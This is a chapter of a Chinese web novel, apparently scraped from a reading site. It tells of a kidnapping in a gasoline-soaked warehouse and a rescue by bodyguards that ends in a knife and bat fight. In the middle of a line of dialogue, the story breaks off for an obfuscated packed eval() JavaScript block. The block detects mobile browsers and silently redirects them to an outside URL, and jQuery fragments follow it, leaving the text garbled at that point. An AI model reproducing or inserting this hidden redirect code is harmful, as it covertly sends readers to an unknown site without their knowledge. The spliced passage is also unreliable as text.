“啧!”
见人家一眼就认出了自己,花少一把扯下了脸上的面具:
“没错就是老子!上次请你喝酒你不喝,这一次我就只好把你请过来了。”
“这一次你要请我喝汽油?”孟俣鸠瞥了一眼地上,一道清晰的液体蜿蜒流走的痕迹,巨大的塑封桶倾倒着,瓶口还在滴落着残存的液体。
“没错!”花少嘿嘿地笑着,从口袋里掏出来一只打火机。吓唬她似的就往地上扔。
“别冲动!”孟俣鸠连忙喝止,“你买了这么多的汽油,还有你的行动轨迹,你开的车,都有记录的,你确定你的家人到时候……”
“臭娘们!你还敢吓唬我!”花少讲棒球棍往前一推,一把戳在孟俣鸠的咽喉处,他立马就噤声了。
看来沟通是无用的,剧情力的原因,该发生的事全都会发生。
在她的认知里,这个花少上次看着也不像会做出这种事的人。
倒不是说他是什么好人,毕竟欺男霸女这种恶事,他应该做了不少了,但他却对自己的家人有着极端的敬畏感。
连打架斗殴、寻衅滋事都不敢让家里人知道,又怎么敢做出这种绑架事来?
但现在,孟俣鸠毫不怀疑自己一句话说得不对就会被这个男人再敲一棍子,她此刻的后颈处还在隐隐抽痛。
突然从门外冲进来了一个小弟,他火急火燎地冲进来,嘴上说着:
“老大,不好了,外面来了一列车队,车上下来了好多人,个个手上都拿着武器。”
花少立马凑到旁边的高窗往外望去,果不其然,一群穿着黑色西装,头戴黑色墨镜,手上拿着清一色的防爆棍,正在附近四处搜寻。
四周清一色的废弃产房,光是他们现在这样的老旧废弃仓库,都有好几个。
“不如我们把这女的留在这里,然后干脆放把火把这仓库烧了?”
花少开始思考了起来。
“你们是不是傻?现在放火不就等于告诉他们,这里有猫腻,赶紧来查吗?”孟俣鸠连忙开口制止,他可不想感受被火烧死。
更何况这里遍地汽油,她只要沾上一点,几分钟不到,人都要被烧成焦炭。
“这女的说得好像有道理耶,老大。”
“啪——”的一巴掌就甩到了小弟的脸上。
花少皱着眉头:“用得着你们提醒我?我会看不出来?现在开始,所有人,转移。”
另一旁,商小鹊举着望远镜从车窗里探出半个身体,远远望着视野里那两辆。
对讲机里发出刺啦刺啦的白噪音:
“商总,对比过昨晚的视频画面了,这两辆就是昨晚停在酒店前后门的车子。”
“很好,你们都去远一点的地方搜,避开那里,一会儿一看到有人上了这两辆车,就围上去。”
“收到。”对讲机再度恢复了平静。
商小鹊低头,整理了一下衣服的下襟。
那里掉出来一截钢板。
她重新将钢板固定好,再次看向那两辆车。
很快,就有一伙戴着猪头面具的人鬼鬼祟祟地从一间仓库里窜出,然后用最快的速度朝那两辆车子跑去。
商小鹊架上墨镜,一脚油门,朝前方疾驰了过去。
与她同时开始行动的还有七八辆车子,清一色的黑色,在同一时间从四面八方驶来,一直开到这群人身侧,才堪堪停住。
从车上下来了十几个身材健硕、手持防爆棍的保镖站成了一圈,将他们团团围住。
“哐当”一声,一根棒球棍掉到了地上。
过来一秒,两根、三根……全都掉到了地上。
两名保镖往侧面挪了半步,穿着黑色风衣的商小鹊自人群后方踱步进入。
在她身后跟着的,正是夏枝。
“你想干什么?”花少战栗。
商小鹊招了两下手,夏枝便从怀里掏出一个文件夹来,开口朗声读道:
“花少祥,男,33岁,自高中起就因为多次打架斗殴而被学校开除,留洋期间有过多次□□的记录,在家人的强势干预下你被扭送回A城。”
“自那以后你就一直混吃等死,搞出过很多事,都被你那个身居高位、手眼通天的前秘书处处长的爷爷摆平了,其中最严重的应该是6年前,你肇事逃逸,致使两名伤者因抢救不及时而去世。”
“还有4年前你当街调戏妇女;3年前你用酒瓶将一名男子打成了傻子……”
花少红了眼,一把冲上去想去抓商小鹊的领子,还没近身,就已经被几名保镖架到了天上去、双腿离地。
“你大爷的!放开老子!姓商的,别以为你就了不起,连你爷爷都要给我爷爷几分面子……当心我让你们商家再也经不了商!”
“我拭目以待,到底是我们家先垮,还是你爷爷、你爸先落马。”商小鹊摘下了墨镜,笑嘻嘻地扇了两下花少的脸,又无比嫌弃地往他衣服上擦了两下。
“放开老子!不然的话……”花少冷笑着,眼神阴恻恻地往一旁瞥去。
商小鹊顺着他的视线一看,一把刀已经抵到了“孟啾”的脖子上。
终于,要到挡刀戏份了吗?商小鹊伸手触了下身上藏着的钢板,那冰凉坚硬的触感给她带来了几分安心。
她开口提议:“要不这样吧,我们交换,你让你的小弟放开她,我就让我的手下放开你。怎么样?”
“你特么当老子傻呀?你光让手下放开我有什么用?我们还不是被你们这么多人围着,我们不还是跑不了。”
“哟!还挺聪明。”商小鹊鼓了下掌,只是这话,怎么听都不像夸奖,倒像是挑衅。
商小鹊挥了挥手,跟自带来的那群保镖说:“听到了吗?人家花少都提要求了,你们都退开,车子也给人家让出道来。”
保镖们虽然疑惑,但还是着手去做了。
然后,商小鹊才回过头来对着花少说:“这样行了吧?”
花少疑惑的眼神滴溜溜转着,像是在思考对方究竟是个什么居心。
见对方还不放心,商小鹊再次加码:“我还可以答应你,一会儿放你走以后,我们绝对不追。你要是办得到,尽可以回去找你爷爷,让他来想办法摆平今天的事。”
“不过也到此为止了,如果你爷爷摆不平,接下来,就是我跟你算总账的时候了。”商小鹊冷笑着说道。
话都说到这份上了,花少不答应都不行了,不然他手底下这帮兄弟都不会依,于是他只好恶狠狠地说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469179|166859||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:
“成交。”
这两个字说出口的时候,他趁着没人注意,偷偷给一个小弟眨眼示意。
他的这个动作成功让孟俣鸠捕捉到了,他看见了那名小弟从裤腰处抽出了一把匕首,悄悄握紧,但对面的商小鹊却浑然不觉。
孟俣鸠的手心出了一层的细汗,怎么回事?刚刚她那个角度,应该看得见花少的小动作才对。
一抬眼,他对上了商小鹊的眼睛,对方的眼里带着笑意,像是在说:放心吧,她能搞定。
江湖规矩,双方小弟保镖各自退开,然后同时各自放人。
孟俣鸠一直被拎着后颈推到了花少的车门外时,才被人猛地一下,朝外推去。
与此同时,花少那双一直悬空着的腿也终于着了地。
二人擦肩的一瞬间,花少突然变脸,一把朝孟俣鸠的身上扑去,抓起他的胳膊就往后甩。
反光闪过,一道泛着寒意的冷芒,猛地朝孟俣鸠刺去。
商小鹊几乎在同时飞扑了出去,一个眼疾手快把人拽了回来,两个人手拉着手,在空中转体了180°,把女主护在了怀里。
“叮”的一声,是匕首刺中在钢板上的声音。
商小鹊脸上一喜,真的挡住了!
下一秒、对方又重新举起了匕首,换了个位置朝她刺来。
这人动手的速度极快,跟开了二倍速一样,商小鹊根本反应不过来。
???
咋回事?怎么还有第二刀?
又是“叮”的一声,商小鹊挪着位置,匕首再一次被钢板当下。
这一次的力道更大,她甚至还能感受到钢板在嗡嗡震动,把她整个人都往后推了好几步,才重新稳住了身形。
这一次,匕首没有收走,反而沿着那层钢板,呲啦着上滑,往她腹部刺去。
与此同时,黑衣保镖们也反应了过来,他们七手八脚地一拥而上,齐齐往那名偷袭的小弟身上扑去。
她同时听到了好几道同时响起的抽气声,她的脑后传来什么东西在空气里挥舞得呼呼作响的声音。
她正待要躲,就被一双柔软的胳膊猛地抱住了头,往下压去,然后又被那双手抱着头往后一转,她被带着又转了半圈。
腹部被利刃划过,一阵刺痛袭来;
头顶同时响起了“邦”的一声巨响。像是棒球棍击中了什么的声音。
所有人同时惊呼出声,齐声喊了一句“商总”
就在这杂乱无比、无比纷繁复杂的状况里,她清晰地辨认出了一声与众不同的叫喊声——
那人的声音听起来有些惊慌、有些无措,听起来带着十二万分的忧心。
那是一道女声,对方喊她:“商小鹊。”
这个现场,只有一个人,是女的,就是眼前的女主。
商小鹊瞪大了眼睛,死死盯着她,一把抓住了“她”衣领,不敢置信:“你叫我什么?”
“孟啾”那无比纠结的眼睛正望向自己,下一秒、她就两眼一闭、昏死了过去。
最终,这场拉锯战在男主帮女主挡了一刀、女主也为男主挡了一闷棍之后,才终于告罄。
远处,传来了警笛的声音,由远及近。
……